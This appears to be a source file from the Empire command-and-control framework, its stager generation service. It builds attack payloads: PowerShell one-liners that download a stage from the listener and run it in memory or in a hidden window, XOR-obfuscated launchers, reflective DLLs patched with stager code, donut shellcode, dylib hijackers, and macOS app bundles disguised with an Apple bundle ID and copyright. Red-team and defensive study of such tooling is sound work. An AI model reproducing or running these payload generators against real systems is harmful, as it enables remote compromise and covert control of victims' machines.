import base64
import logging
import random
import shutil
import subprocess
import typing
from itertools import cycle
from pathlib import Path

try:
    import donut
except ModuleNotFoundError:
    donut = None

import macholib.MachO

from empire.server.common import helpers, packets
from empire.server.core.db import models
from empire.server.core.db.base import SessionLocal
from empire.server.utils import data_util
from empire.server.utils.donut_util import donut_create

if typing.TYPE_CHECKING:
    from empire.server.common.empire import MainMenu

log = logging.getLogger(__name__)

_ARCH_MAP = {"x86": 1, "x64": 2, "both": 3}


def _resolve_arch(arch: str) -> int:
    if arch not in _ARCH_MAP:
        raise ValueError(f"Unsupported arch: {arch}")
    return _ARCH_MAP[arch]


class StagerGenerationService:
    def __init__(self, main_menu: "MainMenu"):
        self.main_menu = main_menu
        self.listener_service = main_menu.listenersv2
        self.agent_service = main_menu.agentsv2
        self.plugin_service = main_menu.pluginsv2
        self.agent_communication_service = main_menu.agentcommsv2
        self.agent_task_service = main_menu.agenttasksv2
        self.obfuscation_service = main_menu.obfuscationv2
        self.dotnet_compiler = main_menu.dotnet_compiler

    def _write_launcher_resource(self, code: str) -> None:
        """Write launcher code to the embedded resources directory for compilation.

        This file path is shared across stager types (PowerShell and Python),
        so concurrent stager generations can overwrite each other.
        """
        launcher_path = (
            self.dotnet_compiler.compiler_dir
            / "Data/EmbeddedResources/common/launcher.txt"
        )
        launcher_path.parent.mkdir(parents=True, exist_ok=True)
        launcher_path.write_text(code, encoding="utf-8")

    def generate_launcher_fetcher(
        self,
        encode=True,
        web_file="http://127.0.0.1/launcher.bat",
        launcher="powershell -noP -sta -w 1 -enc ",
    ):
        stager = (
            'wget "'
            + web_file
            + r'" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
        )
        if encode:
            return helpers.powershell_launcher(stager, launcher)

        return stager

    def generate_launcher(  # noqa: PLR0913
        self,
        listener_name,
        language=None,
        encode=True,
        obfuscate=False,
        obfuscation_command="",
        user_agent="default",
        proxy="default",
        proxy_creds="default",
        stager_retries="0",
        safe_checks="true",
        bypasses: str = "",
    ):
        """
        Abstracted functionality that invokes the generate_launcher() method for a given listener,
        if it exists.
        """
        with SessionLocal.begin() as db:
            bypasses_parsed = []
            for bypass in bypasses.split(" "):
                db_bypass = (
                    db.query(models.Bypass).filter(models.Bypass.name == bypass).first()
                )
                if db_bypass:
                    if db_bypass.language == language:
                        bypasses_parsed.append(db_bypass.code)
                    else:
                        log.warning(f"Invalid bypass language: {db_bypass.language}")

            db_listener = self.listener_service.get_by_name(db, listener_name)
            active_listener = self.listener_service.get_active_listener(db_listener.id)
            if not active_listener:
                log.error(f"Invalid listener: {listener_name}")
                return ""

            launcher_code = active_listener.generate_launcher(
                encode=encode,
                obfuscate=obfuscate,
                obfuscation_command=obfuscation_command,
                user_agent=user_agent,
                proxy=proxy,
                proxy_creds=proxy_creds,
                stager_retries=stager_retries,
                language=language,
                listener_name=listener_name,
                safe_checks=safe_checks,
                bypasses=bypasses_parsed,
            )
            if launcher_code:
                return launcher_code
            return None

    def generate_dll(self, posh_code, arch):
        """
        Generate a PowerPick Reflective DLL to inject with base64-encoded stager code.
        """

        # read in original DLL and patch the bytes based on arch
        arch_suffix = "x86" if arch.lower() == "x86" else "x64"
        orig_path = (
            self.main_menu.install_path
            / f"data/misc/ReflectivePick_{arch_suffix}_orig.dll"
        )

        if orig_path.is_file():
            dllRaw = orig_path.read_bytes()

            replacementCode = helpers.decode_base64(posh_code)

            # patch the dll with the new PowerShell code
            searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
            index = dllRaw.find(searchString)
            return (
                dllRaw[:index]
                + replacementCode
                + dllRaw[(index + len(replacementCode)) :]
            )

        log.error(f"Original .dll for arch {arch} does not exist!")
        return None

    def generate_powershell_exe(
        self, posh_code, dot_net_version="net40", obfuscate=False
    ) -> Path:
        """
        Generate powershell launcher embedded in csharp
        """
        stager_yaml = (self.main_menu.install_path / "stagers/CSharpPS.yaml").read_text(
            encoding="utf-8"
        )

        self._write_launcher_resource(posh_code)

        return self.dotnet_compiler.compile_stager(
            stager_yaml, "CSharpPS", dot_net_version=dot_net_version, confuse=obfuscate
        )

    def generate_powershell_shellcode(
        self, posh_code, arch="both", dot_net_version="net40"
    ) -> tuple[str | None, str | None]:
        """
        Generate powershell shellcode using donut python module
        """
        arch_type = _resolve_arch(arch)

        directory = self.generate_powershell_exe(posh_code, dot_net_version)

        if not donut:
            err = "module donut-shellcode not installed. It is only supported on x86."
            log.warning(err, exc_info=True)
            return None, err

        shellcode = donut_create(file=str(directory), arch=arch_type)
        return shellcode, None

    def generate_exe_oneliner(
        self, language, obfuscate, obfuscation_command, encode, listener_name
    ):
        """
        Generate an oneliner for an executable
        """
        listener = self.listener_service.get_active_listener_by_name(listener_name)

        if getattr(listener, "parent_listener", None) is not None:
            hop = listener.options["Name"]["Value"]
            while getattr(listener, "parent_listener", None) is not None:
                listener = self.listener_service.get_active_listener_by_name(
                    listener.parent_listener_name
                )
        else:
            hop = ""
        launcher_front = listener.options["Launcher"]["Value"]
        request_uri = self._get_request_uri(listener)
        staging_key = listener.options["StagingKey"]["Value"]
        cookie_name = listener.options["Cookie"]["Value"]
        routing_packet = packets.build_routing_packet(
            staging_key,
            sessionID="00000000",
            language=language.upper(),
            meta="STAGE0",
            additional="None",
            encData="",
        )
        b64_routing_packet = base64.b64encode(routing_packet).decode("UTF-8")
        stage0_url = self._build_stage0_url(listener.host_address, request_uri, hop)

        launcher = f"""
        $wc=New-Object System.Net.WebClient;
        $wc.Headers.Add("Cookie","{cookie_name}={b64_routing_packet}");
        $bytes=$wc.DownloadData("{stage0_url}");
        $assembly=[Reflection.Assembly]::load($bytes);
        $assembly.EntryPoint.Invoke($null,$null);
        """

        launcher = helpers.strip_powershell_comments(launcher)
        launcher = data_util.ps_convert_to_oneliner(launcher)

        if obfuscate:
            launcher = self.obfuscation_service.obfuscate(
                launcher,
                obfuscation_command=obfuscation_command,
            )
        if encode and (
            (not obfuscate) or ("launcher" not in obfuscation_command.lower())
        ):
            return helpers.powershell_launcher(launcher, launcher_front)
        return launcher

    def generate_go_exe_oneliner(
        self,
        language,
        listener_name,
        obfuscate,
        obfuscation_command,
        encode,
    ):
        """
        Generate a oneliner for a executable
        """
        listener = self.listener_service.get_active_listener_by_name(listener_name)

        if getattr(listener, "parent_listener", None) is not None:
            hop = listener.options["Name"]["Value"]
            while getattr(listener, "parent_listener", None) is not None:
                listener = self.listener_service.get_active_listener_by_name(
                    listener.parent_listener.name
                )
        else:
            hop = ""
        launcher_front = listener.options["Launcher"]["Value"]
        request_uri = self._get_request_uri(listener)
        staging_key = listener.options["StagingKey"]["Value"]
        cookie_name = listener.options["Cookie"]["Value"]
        routing_packet = packets.build_routing_packet(
            staging_key,
            sessionID="00000000",
            language=language.upper(),
            meta="STAGE0",
            additional="None",
            encData="",
        )
        b64_routing_packet = base64.b64encode(routing_packet).decode("UTF-8")
        stage0_url = self._build_stage0_url(listener.host_address, request_uri, hop)

        launcher = f"""
            # Create a temp file path
            $tempFilePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "{helpers.random_string(length=5)}.exe");
            $wc = New-Object System.Net.WebClient;
            $wc.Headers.Add("Cookie","{cookie_name}={b64_routing_packet}");
            $url = "{stage0_url}";
            $wc.DownloadFile($url, $tempFilePath);
            Start-Process -FilePath $tempFilePath -WindowStyle Hidden;
        """

        launcher = helpers.strip_powershell_comments(launcher)
        launcher = data_util.ps_convert_to_oneliner(launcher)

        if obfuscate:
            launcher = self.obfuscation_service.obfuscate(
                launcher,
                obfuscation_command=obfuscation_command,
            )

        if encode and (
            (not obfuscate) or ("launcher" not in obfuscation_command.lower())
        ):
            return helpers.powershell_launcher(launcher, launcher_front)

        return launcher

    def _get_request_uri(self, listener) -> str:
        profile = listener.options["DefaultProfile"]["Value"]
        uris = [uri.strip() for uri in profile.split("|")[0].split(",") if uri.strip()]
        request_uri = random.choice(uris) if uris else "/"
        if not request_uri.startswith("/"):
            request_uri = f"/{request_uri}"
        return request_uri

    def _build_stage0_url(self, host_address: str, request_uri: str, hop: str) -> str:
        base = f"{host_address}{request_uri.lstrip('/')}"
        if hop:
            return f"{base}?hop={hop}"
        return base

    def generate_python_exe(
        self, python_code, dot_net_version="net40", obfuscate=False
    ) -> Path:
        """
        Generate ironpython launcher embedded in csharp
        """
        stager_yaml = (self.main_menu.install_path / "stagers/CSharpPy.yaml").read_text(
            encoding="utf-8"
        )

        self._write_launcher_resource(python_code)

        return self.dotnet_compiler.compile_stager(
            stager_yaml, "CSharpPy", dot_net_version=dot_net_version, confuse=obfuscate
        )

    def generate_python_shellcode(
        self, posh_code, arch="both", dot_net_version="net40"
    ) -> tuple[str | None, str | None]:
        """
        Generate ironpython shellcode using donut python module
        """
        arch_type = _resolve_arch(arch)

        if not donut:
            err = "module donut-shellcode not installed. It is only supported on x86."
            log.warning(err, exc_info=True)
            return None, err

        directory = self.generate_python_exe(posh_code, dot_net_version)
        shellcode = donut_create(file=str(directory), arch=arch_type)
        return shellcode, None

    def generate_csharp_shellcode(
        self,
        listener_name,
        arch="both",
        dot_net_version="net40",
        obfuscate=False,
        obfuscation_command="",
    ) -> tuple[str | None, str | None]:
        """
        Generate C# shellcode using donut python module
        """
        arch_type = _resolve_arch(arch)

        if not donut:
            err = "module donut-shellcode not installed."
            log.warning(err, exc_info=True)
            return None, err

        with SessionLocal.begin() as db:
            db_listener = self.listener_service.get_by_name(db, listener_name)
            active_listener = self.listener_service.get_active_listener(db_listener.id)

        if not active_listener:
            return None, f"Listener {listener_name} not found"

        # Generate the C# EXE path
        exe_path = active_listener.generate_launcher(
            language="csharp",
            encode=False,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
            listener_name=listener_name,
        )

        if not exe_path:
            return None, "Failed to generate C# EXE for shellcode"

        # Create shellcode from the EXE
        shellcode = donut_create(file=str(exe_path), arch=arch_type)
        return shellcode, None

    def generate_shellcode(  # noqa: PLR0913
        self,
        language,
        listener_name,
        obfuscate=False,
        obfuscation_command="",
        arch="both",
        dot_net_version="net40",
    ):
        """
        Generate shellcode for the given language by delegating to the
        appropriate language-specific method.
        """
        lang = language.lower()

        if lang == "csharp":
            return self.generate_csharp_shellcode(
                listener_name, arch, dot_net_version, obfuscate, obfuscation_command
            )

        with SessionLocal.begin() as db:
            db_listener = self.listener_service.get_by_name(db, listener_name)
            active_listener = self.listener_service.get_active_listener(db_listener.id)

        if not active_listener:
            return None, f"Listener {listener_name} not found"

        launcher_code = active_listener.generate_launcher(
            language=language,
            encode=False,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
            listener_name=listener_name,
        )

        if not launcher_code:
            return None, "Failed to generate launcher code"

        if lang == "powershell":
            return self.generate_powershell_shellcode(
                launcher_code, arch=arch, dot_net_version=dot_net_version
            )

        if lang in ("python", "ironpython"):
            return self.generate_python_shellcode(
                launcher_code, arch=arch, dot_net_version=dot_net_version
            )

        return None, f"Shellcode generation not supported for language: {language}"

    def generate_macho(self, launcher_code):
        """
        Generates a macho binary with an embedded python interpreter that runs the launcher code.
        """

        MH_EXECUTE = 2
        with (self.main_menu.install_path / "data/misc/machotemplate").open("rb") as f:
            macho = macholib.MachO.MachO(f.name)

            if int(macho.headers[0].header.filetype) != MH_EXECUTE:
                log.error("Macho binary template is not the correct filetype")
                return ""

            cmds = macho.headers[0].commands

            for cmd in cmds:
                count = 0
                if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64:
                    count += 1
                    if (
                        cmd[count].segname.strip(b"\x00") == b"__TEXT"
                        and cmd[count].nsects > 0
                    ):
                        count += 1
                        for section in cmd[count]:
                            if section.sectname.strip(b"\x00") == b"__cstring":
                                offset = int(section.offset) + (
                                    int(section.size) - 2119
                                )
                                placeHolderSz = int(section.size) - (
                                    int(section.size) - 2119
                                )

            template = f.read()

        if placeHolderSz and offset:
            key = "subF"
            launcher_code = "".join(
                chr(ord(x) ^ ord(y)) for (x, y) in zip(launcher_code, cycle(key))
            )
            launcher_code = base64.urlsafe_b64encode(launcher_code.encode("utf-8"))
            launcher = launcher_code + b"\x00" * (placeHolderSz - len(launcher_code))
            return template[:offset] + launcher + template[(offset + len(launcher)) :]

        log.error("Unable to patch MachO binary")
        return None

    def generate_dylib(self, launcher_code, arch, hijacker):  # noqa: PLR0912
        """
        Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application.
        """
        MH_DYLIB = 6
        misc_dir = self.main_menu.install_path / "data/misc"
        if hijacker.lower() == "true":
            if arch == "x86":
                dylib_path = misc_dir / "hijackers/template.dylib"
            else:
                dylib_path = misc_dir / "hijackers/template64.dylib"
        elif arch == "x86":
            dylib_path = misc_dir / "templateLauncher.dylib"
        else:
            dylib_path = misc_dir / "templateLauncher64.dylib"

        with dylib_path.open("rb") as f:
            macho = macholib.MachO.MachO(f.name)

            if int(macho.headers[0].header.filetype) != MH_DYLIB:
                log.error("Dylib template is not the correct filetype")
                return ""

            cmds = macho.headers[0].commands

            placeHolderSz = None
            offset = None

            for cmd in cmds:
                count = 0
                if (
                    int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64
                    or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT
                ):
                    count += 1
                    if (
                        cmd[count].segname.strip(b"\x00") == b"__TEXT"
                        and cmd[count].nsects > 0
                    ):
                        count += 1
                        for section in cmd[count]:
                            log.debug(
                                f"Checking section: {section.sectname.strip(b'\\x00')}"
                            )
                            if section.sectname.strip(b"\x00") == b"__cstring":
                                offset = int(section.offset)
                                placeHolderSz = int(section.size) - 52
                                log.debug(
                                    f"Found offset: {offset}, placeHolderSz: {placeHolderSz}"
                                )
            template = f.read()

        if placeHolderSz is not None and offset is not None:
            launcher = launcher_code + "\x00" * (placeHolderSz - len(launcher_code))
            if isinstance(launcher, str):
                launcher = launcher.encode("UTF-8")
            return b"".join(
                [template[:offset], launcher, template[(offset + len(launcher)) :]]
            )

        log.error("Unable to patch dylib")
        return None

    def generate_appbundle(  # noqa: PLR0915, PLR0912
        self, launcher_code, arch, icon, app_name, disarm
    ):
        """
        Generates an application. The embedded executable is a macho binary with the python interpreter.
        """
        MH_EXECUTE = 2

        app_res = self.main_menu.install_path / "data/misc/apptemplateResources"
        if arch == "x64":
            app_dir = app_res / "x64/launcher.app"
        else:
            app_dir = app_res / "x86/launcher.app"
        launcher_binary = app_dir / "Contents/MacOS/launcher"

        with launcher_binary.open("rb") as f:
            macho = macholib.MachO.MachO(f.name)

            if int(macho.headers[0].header.filetype) != MH_EXECUTE:
                log.error("Macho binary template is not the correct filetype")
                return ""

            cmds = macho.headers[0].commands

            for cmd in cmds:
                count = 0
                if (
                    int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64
                    or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT
                ):
                    count += 1
                    if (
                        cmd[count].segname.strip(b"\x00") == b"__TEXT"
                        and cmd[count].nsects > 0
                    ):
                        count += 1
                        for section in cmd[count]:
                            if section.sectname.strip(b"\x00") == b"__cstring":
                                offset = int(section.offset)
                                placeHolderSz = int(section.size) - 52

            template = f.read()

        if placeHolderSz and offset:
            launcher = launcher_code.encode("utf-8") + b"\x00" * (
                placeHolderSz - len(launcher_code)
            )
            patched_binary = (
                template[:offset] + launcher + template[(offset + len(launcher)) :]
            )
            if not app_name:
                app_name = "launcher"

            tmpdir = Path(f"/tmp/application/{app_name}.app")
            shutil.copytree(app_dir, tmpdir)
            macos_dir = tmpdir / "Contents/MacOS"
            with (macos_dir / "launcher").open("wb") as f:
                if disarm is not True:
                    f.write(patched_binary)
                else:
                    empty_macho = app_res / "empty/macho"
                    f.write(empty_macho.read_bytes())

            (macos_dir / "launcher").rename(macos_dir / app_name)
            (macos_dir / app_name).chmod(0o755)

            if icon:
                iconfile = Path(icon).stem
                shutil.copy2(icon, tmpdir / "Contents/Resources" / f"{iconfile}.icns")
            else:
                iconfile = icon
            appPlist = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>BuildMachineOSBuild</key>
    <string>15G31</string>
    <key>CFBundleDevelopmentRegion</key>
    <string>en</string>
    <key>CFBundleExecutable</key>
    <string>{app_name}</string>
    <key>CFBundleIconFile</key>
    <string>{iconfile}</string>
    <key>CFBundleIdentifier</key>
    <string>com.apple.{app_name}</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundleName</key>
    <string>{app_name}</string>
    <key>CFBundlePackageType</key>
    <string>APPL</string>
    <key>CFBundleShortVersionString</key>
    <string>1.0</string>
    <key>CFBundleSignature</key>
    <string>????</string>
    <key>CFBundleSupportedPlatforms</key>
    <array>
        <string>MacOSX</string>
    </array>
    <key>CFBundleVersion</key>
    <string>1</string>
    <key>DTCompiler</key>
    <string>com.apple.compilers.llvm.clang.1_0</string>
    <key>DTPlatformBuild</key>
    <string>7D1014</string>
    <key>DTPlatformVersion</key>
    <string>GM</string>
    <key>DTSDKBuild</key>
    <string>15E60</string>
    <key>DTSDKName</key>
    <string>macosx10.11</string>
    <key>DTXcode</key>
    <string>0731</string>
    <key>DTXcodeBuild</key>
    <string>7D1014</string>
    <key>LSApplicationCategoryType</key>
    <string>public.app-category.utilities</string>
    <key>LSMinimumSystemVersion</key>
    <string>10.11</string>
    <key>LSUIElement</key>
    <true/>
    <key>NSHumanReadableCopyright</key>
    <string>Copyright 2016 Apple. All rights reserved.</string>
    <key>NSMainNibFile</key>
    <string>MainMenu</string>
    <key>NSPrincipalClass</key>
    <string>NSApplication</string>
</dict>
</plist>
"""
            (tmpdir / "Contents/Info.plist").write_text(appPlist)

            shutil.make_archive("/tmp/launcher", "zip", "/tmp/application")
            shutil.rmtree("/tmp/application")

            launcher_zip = Path("/tmp/launcher.zip")
            zipbundle = launcher_zip.read_bytes()
            launcher_zip.unlink()
            return zipbundle

        log.error("Unable to patch application")
        return None

    def generate_jar(self, launcher_code):
        install_path = self.main_menu.install_path
        java_template = install_path / "data/misc/Run.java"
        javacode = java_template.read_text(encoding="utf-8").replace(
            "LAUNCHER", launcher_code
        )

        jarpath = install_path / "data/misc/classes/com/installer/apple"
        jarpath.mkdir(parents=True, exist_ok=True)

        java_file = jarpath / "Run.java"
        class_file = jarpath / "Run.class"
        jar_file = install_path / "data/misc/Run.jar"

        java_file.write_text(javacode, encoding="utf-8")
        subprocess.run(["javac", str(java_file)], check=True)
        subprocess.run(
            ["jar", "-cfe", str(jar_file), "com.installer.apple.Run", str(class_file)],
            check=True,
        )

        class_file.unlink()
        java_file.unlink()

        jar = jar_file.read_bytes()
        jar_file.unlink()

        return jar

    def generate_upload(self, file, path):
        script = """
$b64 = "BASE64_BLOB_GOES_HERE"
$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))

"""

        file_encoded = base64.b64encode(file).decode("UTF-8")

        script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
        return script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)

    def generate_python_stageless(self, active_listener, language):
        if language == "ironpython":
            language = "python"
            version = "ironpython"
        else:
            version = ""

        agent_code = active_listener.generate_agent(
            active_listener.options, language=language, version=version
        )

        comms_code = active_listener.generate_comms(
            active_listener.options, language=language
        )

        stager_code = (
            active_listener.generate_stager(
                active_listener.options, language=language, encrypt=False, encode=False
            )
            .replace("exec(agent_code, globals())", "")
            .replace(
                "stage = Stage()",
                f"stage = Stage()\nserver='{active_listener.host_address}'",
            )
        )

        if active_listener.info["Name"] == "HTTP[S] MALLEABLE":
            full_agent = "\n".join([agent_code, stager_code, comms_code])
        else:
            full_agent = "\n".join([agent_code, stager_code])
        return full_agent

    def generate_powershell_stageless(self, active_listener, language):
        agent_code = active_listener.generate_agent(
            active_listener.options, language=language
        )

        comms_code = active_listener.generate_comms(
            active_listener.options, language=language
        )

        stager_code = (
            active_listener.generate_stager(
                active_listener.options, language=language, encrypt=False, encode=False
            )
            .replace("IEX ($e.GetString($agentBytes))", "")
            .replace('Start-Negotiate -s "$ser"', 'Start-Negotiate -s "$Script:server"')
        )

        if active_listener.info["Name"] == "HTTP[S] MALLEABLE":
            full_agent = "\n".join([agent_code, stager_code, comms_code])
        else:
            full_agent = "\n".join([agent_code, stager_code])

        return full_agent

    def generate_stageless(self, options):
        listener_name = options["Listener"]["Value"]
        language = options["Language"]["Value"].lower()

        active_listener = self.listener_service.get_active_listener_by_name(
            listener_name
        )

        if language.lower() in ["python", "ironpython"]:
            return self.generate_python_stageless(active_listener, language)

        if language.lower() == "powershell":
            return self.generate_powershell_stageless(active_listener, language)

        return None

    def generate_go_stageless(self, options, listener_name=None):
        if not listener_name:
            listener_name = options["Listener"]["Value"]

        active_listener = self.listener_service.get_active_listener_by_name(
            listener_name
        )

        session_id = "00000000"
        staging_key = active_listener.options["StagingKey"]["Value"]
        delay = active_listener.options["DefaultDelay"]["Value"]
        jitter = active_listener.options["DefaultJitter"]["Value"]
        profile = active_listener.options["DefaultProfile"]["Value"]
        kill_date = active_listener.options["KillDate"]["Value"]
        working_hours = active_listener.options["WorkingHours"]["Value"]
        lost_limit = active_listener.options["DefaultLostLimit"]["Value"]

        template_vars = {
            "PROFILE": profile,
            "HOST": active_listener.host_address,
            "SESSION_ID": session_id,
            "KILL_DATE": kill_date,
            "WORKING_HOURS": working_hours,
            "DELAY": delay,
            "JITTER": jitter,
            "LOST_LIMIT": lost_limit,
            "STAGING_KEY": base64.b64encode(staging_key.encode("UTF-8")).decode(
                "UTF-8"
            ),
            "DEFAULT_RESPONSE": base64.b64encode(
                active_listener.default_response().encode("UTF-8")
            ).decode("UTF-8"),
            "AGENT_PRIVATE_CERT_KEY": base64.b64encode(
                active_listener.agent_private_cert_key
            ).decode("UTF-8"),
            "AGENT_PUBLIC_CERT_KEY": base64.b64encode(
                active_listener.agent_public_cert_key
            ).decode("UTF-8"),
            "SERVER_PUBLIC_CERT_KEY": base64.b64encode(
                active_listener.server_public_cert_key
            ).decode("UTF-8"),
        }

        return self.main_menu.go_compiler.compile_stager(
            template_vars, "stager", goos="windows", goarch="amd64"
        )
